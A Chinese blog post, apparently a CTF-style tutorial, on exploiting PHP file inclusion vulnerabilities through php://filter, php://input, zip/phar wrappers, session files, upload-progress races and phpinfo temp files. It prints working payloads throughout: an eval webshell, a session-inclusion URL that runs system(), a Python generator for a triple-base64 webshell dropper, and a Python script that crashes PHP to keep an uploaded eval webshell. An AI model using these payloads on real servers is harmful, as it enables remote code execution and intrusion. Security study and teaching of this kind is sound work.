PHP 文件包含漏洞

发布于 2024-08-05 03:49:47 字数 11705 浏览 37 评论 0

1 相关函数

  • include()
  • include_once()
  • require()
  • require_once()

2 分类

  • 远程文件包含
  • 本地文件包含

3 包含的实现

包含的时候,不一定是要去包含 php 文件(即可执行的 php 文件)

类似于:a.phps、a.xxx、a.jpg 只要文件中包含一块完整 php 代码,例如一个 a.txt,内容为 <?php phpinfo(); ?>

4 包含的场景

4.1 上传可控文件

  • 比如说我们能够上传图片,那就去传一个带完整 php 代码的图片文件,或者是将代码文件改后缀即可
  • 压缩包,配合伪协议

<?php ?> 过滤的情况:

<script language="php">@eval($_POST['a']);</script>

4.2 远程文件包含

4.2.1 条件

allow_url_fopen

本选项激活了 URL 形式的 fopen 封装协议使得可以访问 URL 对象例如文件。默认的封装协议提供用 ftp 和 http 协议来访问远程文件,一些扩展库例如 zlib 可能会注册更多的封装协议。

4.2.2 远程文件包含

[http|https|ftp]://www.bbb.com/shell.txt 若后缀名写死,可以用 ? 绕过

pyload:

aaa.com/1.php?a

4.3 伪协议

4.3.1 PHP 归档

  • phar://
  • zip://

DEMO:

http://106.12.37.37/index.php?url=upload

payload:

  • url=zip://a.zip#压缩包内文件名
  • url=phar://a.zip/压缩包内文件名
  • 上传的文件无所谓后缀名,只要是 zip 文件头的文件均可,zip 文件改成 jpg,zip:// 协议仍然可以解析

4.3.2 利用 PHP 流

4.3.2.1 php://filter

元封装器,设计用于数据流打开时的筛选过滤应用。这对于一体式(all-in-one) 的文件函数非常有用,类似 readfile()、file() 和 file_get_contents(),在数据流内容读取之前没有机会应用其他过滤器。 php://filter 目标使用以下的参数作为它路径的一部分。复合过滤链能够在一个路径上指定。详细使用这些参数可以参考具体范例。

  • ?file=php://filter/read=convert.base64-encode/resource=index.php
  • ?file=php://filter/read=string.toupper|string.rot13/resource=index.php

除此之外,还有:

string.toupper                                     //上面有写
string.tolower                                     //转换为小写
string.strip_tags                                  //去除 html 和 php 标记,比如<?php?>
convert.base64-encode                              //base64 编码
convert.base64-decode                              //base64 编码
convert.quoted-printable-encode                    //quoted-printable 转 8bit
convert.quoted-printable-decode                    //同上

DEMO:

http://chinalover.sinaapp.com/web7/index.php

4.3.2.2 php://input
  • 利用条件
    • allow_url_include = On
    • 对 allow_url_fopen 不做要求
    • php://input 可以读取没有处理过的 POST 数据

Payload:

Url: ?key=123&flag=php://input

Post: 123

4.4 日志文件

很多时候,web 服务器会将请求写入到日志文件中,比如说 apache 在用户发起请求时,会将请求写入 access error.log。默认情况下,日志保存路径在 /var/log/apache2/

www 用户无权限读取该日志,应用场景有限。

4.5 SESSION

PHP 默认生成的 session 文件往往存放在 /tmp 目录下

4.5.1 session 文件

注册一句话用户名,并包含 session 文件 http://512ab969d9ce414e9349e459f7bfe9d1b601c9951aa24093.changame.ichunqiu.com/ action.php?module=&file=../../../../../../../tmp/SESS/ sess_tftrtvb6t089398jjl0p1cdvj7&a=system("cat flag.php");


4.5.2 session.upload

session.upload_progress.enabled 这个参数在 php.ini 默认开启,需要手动配置为 OFF,如果不是 off,就会在上传的过程中生成上传进度文件,它的出现本是为了显示文件在上传时候的进度,以显示文件上传的信息。

它的存储路径可以在 phpinfo 中获取到(如上图)

Demo:

<?php
($_=@_GET['orange']) && @substr(file($_)[0],0,6) === '@<?php' ? include($_) : highlight_file(__FILE__);
?>

这个 session 文件并不一定要 session_start 才能生成,只要往服务器发送一个 Cookie: PHPSESSID=xxx 的值,然后用 session upload 的方式进行上传文件,就会生成这样一个 session 文件

通过 curl 上传文件:

curl http://IP/index.php -H 'Cookie:PHPSESSID=iamnotorange' -F 'PHP_SESSION_UPLOAD_PROGRESS=aaa' -F 'file=@/etc/passwd'

这样就可以控制文件名,接下来想办法控制文件内容。

由于文件上传的速度比较快,有时候经常来不及看到保存在 session 文件中的 upload 信息,就会被删除。我们可以上传一个相对比较大的文件,并且条件竞争的方式。来先看一下保存在 session 中的文件内容。

这里构造了一个这样的表单,upload.php

<form action="upload.php" method="POST" enctype="multipart/form-data">
 <input type="hidden" name="<?php echo ini_get("session.upload_progress.name"); ?>" value="iamnotorange" />
 <input type="file" name="file1" />
 <input type="file" name="file2" />
 <input type="submit" />
</form>
<?php
session_start();
$name = ini_get('session.upload_progress.name');
$key = ini_get('session.upload_progress.prefix') . $_POST[$name];
var_dump($_SESSION[$key]); 
include '/var/lib/php/sessions/sess_iamnotorange';

然后开个多线程跑几次,就能看到通过条件竞争读出的文件内容:

可以发现文件中的 upload_progress_ 固定,不可控。

接下来还有一个条件是 substr(file($_)[0],0,6) === '@<?php' ,想到利用 php 中的伪协议,进行文件内容的修改。

参考: https://www.leavesongs.com/PENETRATION/php-filter-magic.html#_1

base64 的前置知识

base64 编码后的字符串集为 [0-9a-zA-Z+/=]

因而在解码的时候遇到这个之外的字符,就会跳过那些字符。只对在此范围内的字符进行解码。

在本例中, _ 作为特殊字符,在 base64 解码时会自动跳过。

所以只要对前面的 upload_progress_ 进行足够多次的解密,就可以使其变成空字符

$i = 0 ;
$data = "upload_progress_";
while(true){
    $i += 1;
    $data = base64_decode($data); 
    var_dump($data);
    if($data == ''){
        echo "一共解码了:".$i,"次\n";
        break;
    }
}

通过脚本可以看到,只要三次就可以将前面的内容转换为成空。

但是,由于 base64 是对 4 个字符为一组进行解码。 upload_progress_ 并不满足三次解码后允许字符是 4 的倍数(14 个有效字符,要求有效字符至少是 16 个),就会把后面的字符算入填充,从而破坏原有传入的 php 代码。

示例

function triple_base64_encode($str){
	return base64_encode(base64_encode(base64_encode($str)));
}
function triple_base64_decode($str){
	return base64_decode(base64_decode(base64_decode($str)));
}
$i = 0 ;
$data = "upload_progress_".triple_base64_encode("<?=\`id\`;>");

echo triple_base64_decode($data);

解码之后的数据是 ?

upload_progress_ZZ 在三次的解码中,第一次解码后留下了四个允许字符 hikY ,第二次解码没有允许字符,第三次就变成了空。

在这三次中,都是允许字符的数量都是 4 的倍数,这样就不会破坏后面传入的 php 代码。

爆破脚本:

<?php

$str = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz";
while(true) {
	$i = 0 ;
	$data = "upload_progress_".substr(str_shuffle($str),10,2);
	$s = base64_decode($data);
	$s_length = strlen(preg_replace('|[^a-z0-9A-Z+/]|s', '', $s));
	$ss = base64_decode($s);
	$ss_length = strlen(preg_replace('|[^a-z0-9A-Z+/]|s', '', $ss));
	$sss = base64_decode($ss);
	if($s_length%4==0 && $ss_length%4==0 && $sss=='') {
		echo $data;
		break;
	}
}

对于后面的 php 代码,也有一个要求,就是三次解密中都不能出现 = ,因为 base64 中 = 只能放在编码的最后补位,出现在中间的话, php://filter/convert.base64-decode 流就无法正常解析,就会报错。

对此 oragne 师傅写了个脚本生成这玩意:

import string
from base64 import b64encode
from random import sample, randint

payload = "@<?php file_put_contents('/tmp/web', '@<?php eval($_GET[1])?>'); ?>"

while 1:
    junk = ''.join(sample(string.ascii_letters, randint(8, 16)))
    x = b64encode(payload + junk)
    xx = b64encode(b64encode(payload + junk))
    xxx = b64encode(b64encode(b64encode(payload + junk)))
    if '=' not in x and '=' not in xx and '=' not in xxx:
        print(xxx)
        break

VVVSM0wyTkhhSGRKUjFwd1lrZFdabU5JVmpCWU1rNTJZbTVTYkdKdVVucExRMk4yWkVjeGQwd3paR3haYVdOelNVTmtRVkJFT1hkaFNFRm5XbGhhYUdKRFoydFlNR1JHVmtaemVGaFRheTlRYVdOd1QzbEJMMUJzVGxGVmEwNUZWbXh3YTFSRk5UTmlNMHB6

4.6 ./ 长文件名截断

payload:?page=phpinfo.txt………………………………………………………………………………………………….. 或 page=phpinfo.txt././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

4.7 phpinfo

向服务器上任意 php 文件以 form-data 式提交请求上传数据时,会生成临时文件,通过 phpinfo 来获取临时文件的路径以及名称,然后临时文件在极短时间被删除的时候,需要竞争时间包含临时文件拿到 webshell

https://github.com/vulhub/vulhub/blob/master/php/inclusion/exp.py

4.8 PHP 自包含

  • 上传 -> 临时文件
  • 会话结束 -> 删除临时文件
  • phpinfo() -> 临时文件名
  • 中断删除的过程 /a.php?include=a.php 这样 a.php 会将它自身包含进来,而被包含进来的 a.php 再次尝试处理 url 的包含请求时,再次将自己包含进来,形成了无穷递归,递归会导致爆栈,使 php 无法进行此次请求的后续处理,然后就能进行包含了
  • 自包含,导致 php 停止

demo:

「百度杯」CTF 比赛 十二月场 - Blog 进阶版

  • 注册账号,POST 页面存在 insert 型 SQL 注入获取管理员账号
  • 登录 admin 账号,发现 manage 页面下存在包含
  • 利用自包含漏洞,在 tmp 文件夹下上传 webshell

4.9 PHP 崩溃

本地文件包含漏洞可以让 php 包含自身从而导致死循环然后 php 就会崩溃,如果请求中同时存在一个上传文件的请求的话,这个文件就会被保留

include.php?file=php://filter/string.strip_tags/resource=/etc/passwd

  • include.php?file=php://filter/string.strip_tags/resource=/etc/passwd

可以导致 php 在执行过程中 Segment Fault 想到可以利用在本地文件包含漏洞中 之前在网上的分析文章中,本地文件包含漏洞可以让 php 包含自身从而导致死循环 然后 php 就会崩溃 , 如果请求中同时存在一个上传文件的请求的话,这个文件就会被保留

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
import string
import itertools
charset = string.digits + string.letters
host = "192.168.43.155"
port = 80
base_url = "http://%s:%d" % (host, port)
def upload_file_to_include(url, file_content):
    files = {'file': ('evil.jpg', file_content, 'image/jpeg')}
    try:
        response = requests.post(url, files=files)
    except Exception as e:
        print e
def generate_tmp_files():
    webshell_content = '<?php eval($_REQUEST[c]);?>'.encode(
        "base64").strip().encode("base64").strip().encode("base64").strip()
    file_content = '<?php if(file_put_contents("/tmp/ssh_session_HD89q2", base64_decode("%s"))){echo "flag";}?>' % (
        webshell_content)
    phpinfo_url = "%s/include.php?f=php://filter/string.strip_tags/resource=/etc/passwd" % (
        base_url)
    length = 6
    times = len(charset) ** (length / 2)
    for i in xrange(times):
        print "[+] %d / %d" % (i, times)
        upload_file_to_include(phpinfo_url, file_content)
def main():
    generate_tmp_files()
if __name__ == "__main__":
    main()

5 总结

当一个目标存在任意文件包含漏洞的时候,但找不到可以包含的文件,无法 getshell。可以有三种方法:

  1. 借用 phpinfo,包含临时文件来 getshell
  2. 利用 PHP_SESSION_UPLOAD_PROGRESS,包含 session 文件来 getshell
  3. 利用一个可以使 PHP 挂掉的漏洞(如内存漏洞等),使 PHP 停止执行,此时上传的临时文件就没有删除。我们可以爆破缓存文件名来 getshell。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

水中月

暂无简介

文章
评论
29 人气
更多

推荐作者

櫻之舞

文章 0 评论 0

弥枳

文章 0 评论 0

m2429

文章 0 评论 0

野却迷人

文章 0 评论 0

我怀念的。

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文